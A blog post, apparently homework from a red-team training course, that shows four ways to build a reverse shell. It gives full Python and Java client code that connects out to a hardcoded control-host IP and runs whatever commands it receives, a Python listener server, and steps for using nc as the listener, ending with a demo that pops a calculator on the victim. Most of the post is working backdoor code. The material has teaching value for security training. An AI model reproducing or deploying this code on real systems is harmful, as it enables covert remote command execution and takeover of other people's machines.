Realize remote control in various ways in actual combat

Posted by shafiq2626 on Thu, 17 Feb 2022 08:53:48 +0100

Article source | MS08067 red team training course No. 5

Author: Shan (5 participants of red team training course)

The idea of job is to realize the remote control of the control end (Server) to the controlled end (Client); In the job, we will use python code and java code to realize the controlled end, nc code and python code to realize the controlled end, and try different remote methods.

The technical content of this operation is not high, mainly focusing on the expansion of various ideas of remote control methods. The selection of homework is inseparable from the sharing of the technical crystallization of the teacher and the great God in the class.

The remote control process will be displayed in four ways:

Simple and diverse remote control implementation Level 1: Client(python) + NC Level 2: Client(python) + Server(python) Level 3: Client(java) + NC Level 4: Client(java) + Server(python)

Level 1: Client(python) + NC

Client code:

import socket
import os

def Client():
    # AF_INET means using IPV4 protocol, SOCK_STREAM means to use TCP protocol
           s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
           try:
        # The IP of the control end is written in the code in the form of hard coding, and the controlled end will actively connect to this IP
                      s.connect(("192.168.181.145",5551))
           except Exception as e:
                      print("server not found or closed")
           while True:
        #Receive the input from the control end. 1024 represents 1024 buffer bytes
                      command=s.recv(1024).decode()
        #Note here that exit should be followed by a newline character, otherwise exit will not be matched and will also be executed to the controlled end when the command is executed
                      if command.lower()=='exit\n':
                                 break
                      else:
            # Execute the command from the control end. Here, use OS System () and subprocess Popen can do the same
                                 result=os.popen(command,'r',1).read()
                      try:
            # Return the result to the control end
                                 s.send(result.encode("UTF-8"))
                      except Exception as e:
                                 s.send("command error".encode("UTF-8"))
           s.close()

if __name__=='__main__':
           Client()

1. The control terminal (192.168.181.145) monitors the local port 5551:

2. The controlled end (192.168.181.189) executes python code:

3. The control terminal receives the request and inputs some commands:

4. You can see the information synchronization of the controlled end, and the unrecognized information will be displayed in the window. You can see that this method can not realize arbitrary code execution (such as creating files):

Level 2: Client(python) + Server(python)

You can see the communication processes of client and server in socket communication:

According to the above process, you can write the Server code:

import socket

def Server():
           s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    # Bind 5551 port of native address
           s.bind(("",5551))
    # The maximum number of connections allowed is 3
           s.listen(3)
    # Waiting for the connection request of the controlled end
           conn,addr=s.accept()
           #print("Connected by "+addr)
           while True:
                      command=input("Please enter a command\n")
                      try:
#                                 print(command.encode())
                                 # Send instructions to the controlled end
                                 conn.sendall(command.encode())
                                 # Receive echo and display
                                 result=conn.recv(1024)          
                                 print(result.decode())
                      except Exception as e:
                                 print("exception occurred")
           conn.close()
           s.close()

if __name__=='__main__':
           Server()

Execute server Py and client Py, compared with nc, can realize the execution of more instructions (touch instruction):

Control end:

Controlled end:

Level 3: Client(java) + NC

The code is written by the teacher in class, but the ByteArrayToHexStr and HexStrToStr methods are not used. Instead, Base64 method is used to convert the received data in the form of byte array into string format. Here, the idea of a great God in the class is referred to

import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class App {
    public static void main(String[] args) {
        try {
            // Establish socket connection
            Socket socket = new Socket("192.168.181.189", 5678);
            while (true) {
                // Receive the transmission data of the control end and receive it in the form of inputstream
                InputStream inputStream = socket.getInputStream();
                // byte by byte
                byte[] bytes = new byte[1];
                String info = "";
                while (true) {
                    // If there's something in the stream
                    if (inputStream.available() > 0) {
                        //, read the information into the bytes array defined above
                        inputStream.read(bytes);
                        // It is modified here to convert the received data in the form of byte array into string format. Refer to the method of the great God in the class
                        String hexStr = Base64.getEncoder().encodeToString(bytes);
                        byte[] decoded = Base64.getDecoder().decode(hexStr);
                        // info is the received command from the server in the form of string
                        info += new String(decoded);
//                        String hexStr = ByteArrayToHexStr(bytes);
//                        info += HexStrToStr(hexStr);
                        // If the contents of the stream are read
                        if (inputStream.available() == 0) {
                            //Remove the first space from the read content
                            info = info.trim();
                            //If the content is an exit, end the program
                            if (info.equals("exit")) {
                                return;
                            }
                            try {
                                //Command execution
                                Process exec = Runtime.getRuntime().exec(info);
                                // Read echo content
                                InputStream results = exec.getInputStream();
                                BufferedReader reader = new BufferedReader(new InputStreamReader(results));
                                // Ready to return data, the data output stream dataOutputStream is created
                                DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
                                String line;
                                // Add a newline character after the returned result to avoid visual confusion with the next user command
                                while ((line = reader.readLine()) != null) {
                                    dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));
                                    // Empty buffer
                                    dataOutputStream.flush();
                                }
                                exec.waitFor();
                                // And python The function of close() is the same
                                results.close();
                                reader.close();
                                exec.destroy();
                                break;
                            } catch (Exception e) {
                                continue;
                            } finally {
                                info = "";
                            }
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

1. The control end listens to the port, and the controlled end executes java code

2. It can be seen that the connection is successful. Execute the elastic calculator command at the control end:

The controlled end successfully pops up the calculator

Level 4: Client(java) + Server(python)

Start the above server(python):

Start the above controlled end (java):

It can be seen that arbitrary command execution can still be realized, and network communication does not distinguish between programming languages

Deficiency and improvement

Time is limited, and there are several points that need to be improved:

1. In Python code, the processing mechanism of illegal user input is not optimized

2. In Python code, command input cannot continue after entering instructions without echo (such as calc and touch)